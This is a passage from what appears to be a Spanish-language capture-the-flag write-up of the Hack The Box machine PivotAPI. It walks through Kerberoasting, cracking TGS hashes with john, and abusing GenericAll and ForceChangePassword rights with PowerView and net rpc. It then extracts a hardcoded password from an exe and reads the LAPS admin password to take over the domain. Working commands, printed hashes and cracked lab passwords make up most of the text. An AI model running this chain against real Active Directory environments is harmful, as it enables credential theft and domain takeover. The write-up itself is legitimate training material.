$krb5tgs$23$*Dr.Zaiuss$LICORDEBELLOTA.HTB$licordebellota.htb/Dr.Zaiuss*$ed618fb34b6c2dac8dd51af4d22eb800$fc4bac58bb98d6a53eb0c1ac6a0a4691c1c4cc3237117dd5257f78d017a92e517c0ceee8929c1009a851f433a79b67a4c840404554fd29c3548dc263f449e5c7a417e3fe73570f8b801e0fec3e27cc55bd1e110137219f998a7e1fcb85b806a40167feacb2c9ee320f222dc30b4bc27a0b46292b1eadce05881e52b7f3aa8589d6de7a92c13acf861c05dc2d296b09930d2db1087c8d8e7c8f48ed89e3f33b8f69d454041a29a590a616bc91604b5345351b9c78ac4aee7fb8eadcc160ba66c47c109f8f19ac07e684591e7965017cbf72f631e1d44af5eb8972d57c58cbb9d842acb5d9cde99660e43d5ee5b28f3d4e05b17d654b84e3e012d463da54ad5ac92a13700742cf6ebf8c0d72c9229d824c7a833b1d87a32272588eeff95bf51d31ae69b5aee82433e3c41faaf40e2bd69f2f55f8c04eefd1319e988758431562d8e63dd22b20677eaffca3a1f02b646628144f79dc45ddd05e2bc5c96b44807abcf1f86a0939b8d8b21464b645fbd05b2e8af2d47b146eb1760547d49bd24b9cc31ef200613a99b2e58548095f9555f790b1830f1bd17a1cd34ed8ff6c1447d5b64d7445ac16c609364710ee547b3ea7441b97aaed642f4d1dbf6edbccf5268cff68acaf54257101508e3ddc4d3b1ace1a1eb676eef6fc76ac628f964568db44557fcbf8f5add3c47b097654e1ae825c1b7abc54c554dd85054d2fe5dcbc4f134001ac2c6768cfc6a9daf46d7c0df794fcbffa5eefe6d18b5825ffcab621e01bf3dafed68fe589917daf8fd3d91bd09fa80757d8d78b3bc6bc4735d6b649e5886161f2b31f01ff168b01dfd6256946959935714a74d188decf8122d8b4eafdf976fe517ef4cfd66da66bb6c550b9a9644683959a2302028148f8ed4ebda3ae3ebd795977e47dcfda021d72874317ead21dc75adc2ff69b49a3485b666fa4ac98c53cd8235153a9381a6ca3130551c5af813b40bc80b132ff1ab33918dc185a1849bd136a5f1f4c0303654828a6a2fd4de055fb00cd7f5c04aa44985bae72c8f7517a6382a640aed402a853f333a65f8f3a8744b2db92e86f5ebbecf2c28a5f546fe147621a7c02867ab4611e5fded66447fb2dea91a6629ba67227c69013af4846291f4088ebc40f9442f4a238d0a13fc6e1678bff66479ac5b3699d3ded444b580cf78ee31384e0a9817b872ad407944bcb57e864db055a14afb38c85f66f02dbbff95d7e1bcc5909184ab8e407a495f8c46654579ec50941438bb14431684d974c87a5254c9305c995291658e9fb37fba020935cc8b940518e5d65d8c8fc781ec7cc208118acd377eb7dbca3516abae70c429b5a1b72c7c81dfefc5de4d1ec17cfec56c772777127c62fd3e2c3c6b02a1f487ab127cac2ced449502763c216d5b41f36569508bdbb571289cad7f90a6169c97edd7675d1e25a0242737fa50110565e6b206e3951f97a7f697992f4ac0d871cca3e379f4d4947359c97c011b534a1311b41e73f1cfdd66a
La contraseña no es muy robusta por lo que la crackeamos facilmente usando john
❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Press 'q' or Ctrl-C to abort, almost any other key for status
qwe123QWE!@# (?)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Comprobamos con crackmapexec
las credenciales en winrm y nos devuelve Pwn3d!
❯ proxychains -q crackmapexec winrm licordebellota.htb -u Dr.Zaiuss -p 'qwe123QWE!@#'
SMB licordebellota.htb 5985 PIVOTAPI [*] Windows 10.0 Build 17763 (name:PIVOTAPI) (domain:LicorDeBellota.htb)
HTTP licordebellota.htb 5985 PIVOTAPI [*] http://licordebellota.htb:5985/wsman
WINRM licordebellota.htb 5985 PIVOTAPI [+] LicorDeBellota.htb\Dr.Zaiuss:qwe123QWE!@# (Pwn3d!)
Nos conectamos a traves del proxy con evil-winrm
y conseguimos una powershell
❯ proxychains -q evil-winrm -i licordebellota.htb -u Dr.Zaiuss -p 'qwe123QWE!@#'
PS C:\Users\Dr.Zaiuss\Documents> whoami
licordebellota\dr.zaiuss
PS C:\Users\Dr.Zaiuss\Documents>
Shell - superfume
En bloodhound
veiamos que Dr.Zaiuss tiene privilegios GenericAll
sobre el usuario Superfume asi que repetimos el proceso de antes para setearle el SPN
PS C:\Users\Dr.Zaiuss\Documents> Import-Module .\PowerView.ps1
PS C:\Users\Dr.Zaiuss\Documents> Set-DomainObject -Identity superfume -Set @{serviceprincipalname='not/existing'}
PS C:\Users\Dr.Zaiuss\Documents>
Usando GetUserSPNs
esta vez obtenemos tambien el hash
del usuario Superfume, curiosamente la contraseña es exactamente la misma
que la del usuario Dr.Zaiuss
❯ impacket-GetUserSPNs licordebellota.htb/3v4Si0N:'Gu4nCh3C4NaRi0N!23' -request
Impacket v0.11.0 - Copyright 2023 Fortra
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- --------- ----------------------------------------------- -------------------------- -------------------------- ----------
not/existing superfume CN=Developers,CN=Users,DC=LicorDeBellota,DC=htb 2021-03-05 15:43:51.555648 <never>
not/exist Dr.Zaiuss CN=WinRM,CN=Users,DC=LicorDeBellota,DC=htb 2021-03-05 15:42:09.868164 2023-07-08 20:41:24.421217
$krb5tgs$23$*superfume$LICORDEBELLOTA.HTB$licordebellota.htb/superfume*$5daec5bfab0f9e59f9a8483b4527bb5d$a670fb699180f459506db60e40099c9ba14585246f873216f22951ab6206ace2e6f40a7a193ba943ca0983ccc69ce1cc95e3ea82ba0bc397fd4468b900e61504d97e3f1d890ce7faaca24eedd6588ce69387e0a939ceec49d6af018327dfb31bfef653197546fb03ec2ea2f3bb658b85f54ee74625ce6b6f992ead47d6c23ebe8746de7d807328be9bed33a9db8a1027c64fe8b69a58e7a73031ba9d19a4dae900de76ac88652d1abcbfce1f25e39c128da8e273db2e648d8c0957d4ea74f383ee87919940fcf2d3f6b8b88b5ce8f9769514fd4d6867e50a65f8b52cae3cc869ec4eb257c3bab02af9ffa9df96a3f21bfb1bb989caf37dbde5ef6b79e3579e1eb4b2d36f23ca5b44203b321f556a47b66ce5c7f78ecfb3cc57b7d57565e71008b94e538b1ccc8497e8fb02a7a7ab0a612ed679ef5b5458be5df2a5889f01df1e73f59ca2eb9aefd5165ea9bd56d970a30867aec00114241d747f9b96194a952bf52d0fc85e3b863a52fec709e1fb4475aa8918515070bf734edc02fded0ec335604284a5d2efeba607eeb13d60efb5847cdb4b6cf0923b9fdf18468569c5315b7df8acf5af926203b7175bd6a8c0e155f64a1e571b0e0e9d318bad2aaa826a6ef1d1487a8ba93913f3920397f1c5096c61c99e169d7f7be3b0d9e8b81d440d61f2b30a385eae1a65b7b8ac6fd00a0399002ce47afc1d261a79793d6ff5287b9b06fce033bf426f724c5a4caefa7054087b707f1762f58572f441a84065e2b8362d58ddb33ba7418e7d6796e0d57bb6ebfd3d4cb0502f6c155563b769261b015f775ad0223cbf481b901cb22d60d1d95a53eb67654c88d2690723a981d81702619a63f2dda6c97de1b17ec6a2147d566b504a19b8a6a40bb564166ffa2a0f472bb1bd58e803187f87f28ce50d0889848053abfd9d19ce99f32a92b78e68d8d58bb184b533c1094ec44904993bdc490be300858b591a2eeae7aaa5a1761bd88bc917ea1ced3a312570505f3774ece32cbd36840127c52ccf3bfff29464c0a7c30e5a5fc707990ba0fe03c9cd644aa9f1ad23f4badb309919c49262da0e570f4ddfc1224117e284df89d6c57eea072bc33b15b5d19703178f5d67744e3b818092d46ada38d20be1e00719b82f6a89e2c3abf643d9b1a9a8352244eb293ef69714c64f678fb5752f2eecb0fb3bf2cc443a039839fec7b301a3655945fbb7d71f50ec28f1522041b31827e4cac54917057455ae4b3dccdb0edf37b842ca0c83a22542c318aafc24a56a2c81950e9f78615637f4075ef1dd6a069d8e2832f3a2d89007a3c5f70c3e8a64296b315d4486c2536f617caf4ec9420cf043343bb569cd382c783736f40ea9441384bbd1fe129c116926ac5a6e4bb310b4ca641556b6574300301afb2b444c8472e13223b33c0a3ef5ffbb3d44cad05cb3569bae94099c44a7d6280eb97a4392669ad986f2a6138cbb834c0ad471a1331824d74e6cf6b51f7b97cf9f7223faf0b8e888
$krb5tgs$23$*Dr.Zaiuss$LICORDEBELLOTA.HTB$licordebellota.htb/Dr.Zaiuss*$ed618fb34b6c2dac8dd51af4d22eb800$fc4bac58bb98d6a53eb0c1ac6a0a4691c1c4cc3237117dd5257f78d017a92e517c0ceee8929c1009a851f433a79b67a4c840404554fd29c3548dc263f449e5c7a417e3fe73570f8b801e0fec3e27cc55bd1e110137219f998a7e1fcb85b806a40167feacb2c9ee320f222dc30b4bc27a0b46292b1eadce05881e52b7f3aa8589d6de7a92c13acf861c05dc2d296b09930d2db1087c8d8e7c8f48ed89e3f33b8f69d454041a29a590a616bc91604b5345351b9c78ac4aee7fb8eadcc160ba66c47c109f8f19ac07e684591e7965017cbf72f631e1d44af5eb8972d57c58cbb9d842acb5d9cde99660e43d5ee5b28f3d4e05b17d654b84e3e012d463da54ad5ac92a13700742cf6ebf8c0d72c9229d824c7a833b1d87a32272588eeff95bf51d31ae69b5aee82433e3c41faaf40e2bd69f2f55f8c04eefd1319e988758431562d8e63dd22b20677eaffca3a1f02b646628144f79dc45ddd05e2bc5c96b44807abcf1f86a0939b8d8b21464b645fbd05b2e8af2d47b146eb1760547d49bd24b9cc31ef200613a99b2e58548095f9555f790b1830f1bd17a1cd34ed8ff6c1447d5b64d7445ac16c609364710ee547b3ea7441b97aaed642f4d1dbf6edbccf5268cff68acaf54257101508e3ddc4d3b1ace1a1eb676eef6fc76ac628f964568db44557fcbf8f5add3c47b097654e1ae825c1b7abc54c554dd85054d2fe5dcbc4f134001ac2c6768cfc6a9daf46d7c0df794fcbffa5eefe6d18b5825ffcab621e01bf3dafed68fe589917daf8fd3d91bd09fa80757d8d78b3bc6bc4735d6b649e5886161f2b31f01ff168b01dfd6256946959935714a74d188decf8122d8b4eafdf976fe517ef4cfd66da66bb6c550b9a9644683959a2302028148f8ed4ebda3ae3ebd795977e47dcfda021d72874317ead21dc75adc2ff69b49a3485b666fa4ac98c53cd8235153a9381a6ca3130551c5af813b40bc80b132ff1ab33918dc185a1849bd136a5f1f4c0303654828a6a2fd4de055fb00cd7f5c04aa44985bae72c8f7517a6382a640aed402a853f333a65f8f3a8744b2db92e86f5ebbecf2c28a5f546fe147621a7c02867ab4611e5fded66447fb2dea91a6629ba67227c69013af4846291f4088ebc40f9442f4a238d0a13fc6e1678bff66479ac5b3699d3ded444b580cf78ee31384e0a9817b872ad407944bcb57e864db055a14afb38c85f66f02dbbff95d7e1bcc5909184ab8e407a495f8c46654579ec50941438bb14431684d974c87a5254c9305c995291658e9fb37fba020935cc8b940518e5d65d8c8fc781ec7cc208118acd377eb7dbca3516abae70c429b5a1b72c7c81dfefc5de4d1ec17cfec56c772777127c62fd3e2c3c6b02a1f487ab127cac2ced449502763c216d5b41f36569508bdbb571289cad7f90a6169c97edd7675d1e25a0242737fa50110565e6b206e3951f97a7f697992f4ac0d871cca3e379f4d4947359c97c011b534a1311b41e73f1cfdd66a
❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Press 'q' or Ctrl-C to abort, almost any other key for status
qwe123QWE!@# (?)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Nuevamente comprobamos con crackmapexec
y devuelve Pwn3d!
, asi que podemos conectarnos usando evil-winrm
como el usuario Superfume
❯ proxychains -q crackmapexec winrm licordebellota.htb -u superfume -p 'qwe123QWE!@#'
SMB licordebellota.htb 5985 PIVOTAPI [*] Windows 10.0 Build 17763 (name:PIVOTAPI) (domain:LicorDeBellota.htb)
HTTP licordebellota.htb 5985 PIVOTAPI [*] http://licordebellota.htb:5985/wsman
WINRM licordebellota.htb 5985 PIVOTAPI [+] LicorDeBellota.htb\superfume:qwe123QWE!@# (Pwn3d!)
❯ proxychains -q evil-winrm -i licordebellota.htb -u superfume -p 'qwe123QWE!@#'
PS C:\Users\superfume\Documents> whoami
licordebellota\superfume
PS C:\Users\superfume\Documents>
Shell - jari
En el directorio C:\
nos encontramos con un directorio Developers
donde dentro hay otros directorios con los nombres de los usuarios Jari
y Superfume
PS C:\> dir
Directorio: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 8/8/2020 7:23 PM Developers
d----- 8/8/2020 12:53 PM inetpub
d----- 8/8/2020 10:48 PM PerfLogs
d-r--- 2/19/2021 1:42 PM Program Files
d----- 8/9/2020 5:06 PM Program Files (x86)
d-r--- 8/8/2020 7:46 PM Users
d----- 4/29/2021 5:31 PM Windows
PS C:\> cd Developers
PS C:\Developers> dir
Directorio: C:\Developers
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 8/8/2020 7:26 PM Jari
d----- 8/8/2020 7:23 PM Superfume
PS C:\Developers>
Dentro de Superfume
no encontramos nada interesante pero en Jari
existen 2 archivos, el primero es un programa en C#
y un compilado con extension exe
PS C:\Developers> cd Jari
PS C:\Developers\Jari> dir
Directorio: C:\Developers\Jari
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 8/8/2020 7:26 PM 3676 program.cs
-a---- 8/8/2020 7:18 PM 7168 restart-mssql.exe
PS C:\Developers\Jari> download program.cs program.cs
Info: Downloading C:\Developers\Jari\program.cs to program.cs
Info: Download successful!
PS C:\Developers\Jari> download restart-mssql.exe restart-mssql.exe
Info: Downloading C:\Developers\Jari\restart-mssql.exe to restart-mssql.exe
Info: Download successful!
PS C:\Developers\Jari>
En el program.cs
la parte que nos podria interesar que es password es igual a nada
string password = "";
for (int x = 0; x < password.Length; x++)
{
ssPwd.AppendChar(password[x]);
}
password = "";
Analizando un poco el codigo decompilado del exe por dnspy
podemos ver que define las variables bytes
y data
, despues le pasa estas variables como argumento a Decrypt
almacenandolo en array
, podemos hacer un breakpoint
justo despues para ver los valores, corremos el programa y vemos los valores de array
Una forma facil de ver la contraseña es en la memoria
ver su representación tanto en hexadecimal como en ascii
, a la derecha nos encontramos con ella en texto claro
O con python3
declarar el valor de array y con chr
convertirlo a ascii y asi verla
❯ python3 -q
>>> array = [67, 111, 115, 64, 67, 104, 117, 110, 103, 64, 33, 82, 80, 71]
>>> value = ""
>>> for num in array:
... value += chr(num)
...
>>> print(value)
Cos@Chung@!RPG
>>>
El nombre del directorio era Jari
asi que con crackmapexec
comprobamos esa contraseña hacia winrm
y nos devuelve Pwn3d!
que nos dice que son validas
❯ proxychains -q crackmapexec winrm licordebellota.htb -u Jari -p 'Cos@Chung@!RPG'
SMB licordebellota.htb 5985 PIVOTAPI [*] Windows 10.0 Build 17763 (name:PIVOTAPI) (domain:LicorDeBellota.htb)
HTTP licordebellota.htb 5985 PIVOTAPI [*] http://licordebellota.htb:5985/wsman
WINRM licordebellota.htb 5985 PIVOTAPI [+] LicorDeBellota.htb\Jari:Cos@Chung@!RPG (Pwn3d!)
Nos conectamos usando evil-winrm
y ganamos una powershell como el usuario Jari
❯ proxychains -q evil-winrm -i licordebellota.htb -u Jari -p 'Cos@Chung@!RPG'
PS C:\Users\jari\Documents> whoami
licordebellota\jari
PS C:\Users\jari\Documents>
Shell - Administrator
Volviendo a bloodhound
a buscar posibles rutas esta vez partiendo de Jari
, encontramos que este tiene privilegios ForceChangePassword
sobre Gibdeon
que es parte del grupo Account Operators
que tiene privilegios GenericAll
sobre el grupo Laps Read
grupo que tiene ReadLapsPassword
sobre el equipo PIVOTAPI
Iniciemos aprovechando el privilegio para cambiar la contraseña
al usuario gibdeon
❯ net rpc password gibdeon password123# -U 'licordebellota.htb/Jari%Cos@Chung@!RPG' -S pivotapi.licordebellota.htb
Ahora que tenemos privilegio GenericAll
sobre el grupo Laps Read
definimos las credenciales del usuario Gibdeon
y agregamos al usuario Jari
al grupo Laps Read
PS C:\Users\jari\Documents> Import-Module .\PowerView.ps1
PS C:\Users\jari\Documents> $SecPassword = ConvertTo-SecureString 'password123#' -AsPlainText -Force
PS C:\Users\jari\Documents> $Cred = New-Object System.Management.Automation.PSCredential('licordebellota.htb\gibdeon', $SecPassword)
PS C:\Users\jari\Documents> Add-DomainGroupMember -Identity 'Laps Read' -Members 'Jari' -Credential $Cred
PS C:\Users\jari\Documents>
Si ahora revisamos los grupos
a los que pertenece Jari
podemos ver Laps Read
PS C:\Users\jari\Documents> Get-ADPrincipalGroupMembership Jari | Select Name
Name
----
Usuarios del dominio
Usuarios de administración remota
LAPS READ
WinRM
Developers
PS C:\Users\jari\Documents>
Finalmente podemos leer la propiedad ms-mcs-AdmPwd
del dominio y el output que esto nos muestra la contraseña del usuario Administrador
en texto plano
PS C:\Users\jari\Documents> Get-DomainObject PIVOTAPI -Properties 'ms-mcs-AdmPwd'
ms-mcs-admpwd
-------------
q81I17beCaYbjW7n5rLe
PS C:\Users\jari\Documents>
Con crackmapexec
comprobamos la contraseña con Administrator, devuelve Pwn3d!
❯ crackmapexec smb licordebellota.htb -u Administrador -p q81I17beCaYbjW7n5rLe
SMB licordebellota.htb 445 PIVOTAPI [*] Windows 10.0 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:False)
SMB licordebellota.htb 445 PIVOTAPI [+] LicorDeBellota.htb\Administrador:q81I17beCaYbjW7n5rLe (Pwn3d!)
Podemos simplemente conectarnos con evil-winrm
para obtener una powershell, ahora buscando la flag
final la podemos ver en el escritorio del usuario cybervaca
❯ proxychains -q evil-winrm -i licordebellota.htb -u Administrador -p q81I17beCaYbjW7n5rLe
PS C:\Users\Administrador\Documents> whoami
licordebellota\administrador
PS C:\Users\Administrador\Documents> dir C:\Users -recurse root.txt
Directorio: C:\Users\cybervaca\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 7/8/2023 11:19 PM 34 root.txt
PS C:\Users\Administrador\Documents> dir C:\Users -recurse root.txt | type
d9a**************************ad7
PS C:\Users\Administrador\Documents>